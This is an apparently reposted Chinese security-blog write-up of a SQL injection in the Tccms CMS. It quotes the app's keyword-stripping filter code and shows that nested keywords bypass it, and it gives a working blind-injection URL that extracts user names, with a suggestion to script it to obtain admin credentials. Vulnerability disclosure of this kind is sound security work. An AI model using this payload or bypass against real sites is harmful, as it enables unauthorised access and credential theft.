Tccms sql注入一枚。(绕过防护机制)

没穿底裤 2020年1月1日04:06:11评论356 views字数 3368阅读11分13秒阅读模式
摘要

直接看到/app/model/attackAction.class.php这个文件[php]public function initLogHacker() {/*get*/


漏洞作者: roker

直接看到/app/model/attackAction.class.php这个文件

[php]

public function initLogHacker() {

/*get*/

foreach($_GET as $key=>$value){

if (!in_array($key, array('ac','a','c','do'))){//防止控制器和方法命名不规范被过滤

$this->StopAttack($key,$value,"get",$this->getfilter);

 

$_GET[$key] = StringUtil::safe_replace($value);

$_GET[$key] = StringUtil::remove_xss($_GET[$key]);

}

}

[/php]

对于get类型的处理。跟进StopAttack

[php]

private function inject_check($sql_str) {

return eregi('select|insert|/'|///*|/*|/././/|/.//|union|into|and|or|load_file|outfile', $sql_str);// 进行过滤

}.........

private function StopAttack($StrFiltKey,$StrFiltValue,$method,$ArrFiltReq){

$StrFiltValue = strtolower($StrFiltValue);

if(is_array($StrFiltValue)) {

$StrFiltValue=implode($StrFiltValue);

}

if ($this->inject_check($StrFiltValue) || preg_match ( "/" . $ArrFiltReq . "/is", $StrFiltValue ) == 1){

if ($method == 'cookie') {

$_COOKIE[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

if ($method == 'get') {

$_GET[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

if ($method == 'post') {

$_POST[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

}

}

 

private function logAttack($StrFiltValue,$method) {

$attackStr = "<br><br>SubmitIP:".$_SERVER["REMOTE_ADDR"]."<br>SubmitTime:".strftime("%Y-%m-%d %H:%M:%S")."<br>SubmitPage:".$_SERVER["REQUEST_URI"]."<br>SubmitMethod:".$_SERVER["REQUEST_METHOD"]."<br>SubmitParams:".NetUtil::get_url()."<br>SubmitData:".$StrFiltValue;

$mailObj = new Email();

$this->url = NetUtil::get_url();

$this->ip = NetUtil::getIp();

$this->str = $attackStr;

$this->killip = 0;

$this->method = $method;

$this->addtime = time();

$row = $this->query("select id from ".TABLEPRE."attack where ip='".NetUtil::getIp()."'");

if (count($row) > 5) {

$this->id = $row[0]["id"];

$this->killip = 1;

$this->update();

} else {

$this->save();

}

if (Config::get('attackmail') == 1) {

$mailObj->Subject = "WebSite Attack Notice";

$mailObj->Body = $attackStr;

$mailObj->sendMail();

}

}

 

}

[/php]

记录下attack然后发送邮件- -。继续看到 safe_replace

[php]

public static function safe_replace($string) {

$string = strtolower($string);

$string = str_replace("_", '/_', $string); // 把 '_'过滤掉

$string = str_replace("%", '/%', $string); // 把' % '过滤掉

$string = str_replace('%20', '', $string);

$string = str_replace('%27', '', $string);

$string = str_replace('%2527', '', $string);

$string = str_replace('*', '', $string);

$string = str_replace('"', '&quot;', $string);

$string = str_replace("'", '', $string);

$string = str_replace('"', '', $string);

$string = str_replace(';', '', $string);

$string = str_replace('<', '&lt;', $string);

$string = str_replace('>', '&gt;', $string);

$string = str_replace("{", '', $string);

$string = str_replace('}', '', $string);

$string = str_replace('//', '', $string);

$string = str_replace('or', '', $string);

$string = str_replace('insert', '', $string);

$string = str_replace('select', '', $string);

$string = str_replace('delete', '', $string);

$string = str_replace('and', '', $string);

$string = str_replace('union', '', $string);

$string = str_replace('load_file', '', $string);

$string = str_replace('outfil', '', $string);

$string = str_replace('truncate', '', $string);

$string = str_replace('..', '', $string);

$string = str_replace('//', '/', $string);

$string = str_replace('http:/', 'http://', $string);

return $string;

}

[/php]

替换关键字为空。sql的话 remove_xss函数我们无视就好了。影响不大。

我们找一个 执行sql语句的文件

像这个。/app/controller/news.class.php

注册用户

get数据 http://localhost/index.php?ac=news_all&yz=1 aananddnd exists (selseselectlectect username from tc_user where ooorrrd(substring(username from 1 fooorrr 1))=97)%23。

在两次safe_replace后。 还原了我们的语句

Tccms sql注入一枚。(绕过防护机制)

 

虽然记录了 attack到了数据库 但是语句还是执行了的。

写个脚本循环替换 for x to 1 和 =97(+ -)的值 分分钟就可以获取到管理账号密码了。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:06:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tccms sql注入一枚。(绕过防护机制)http://cn-sec.com/archives/75690.html

发表评论

匿名网友 填写信息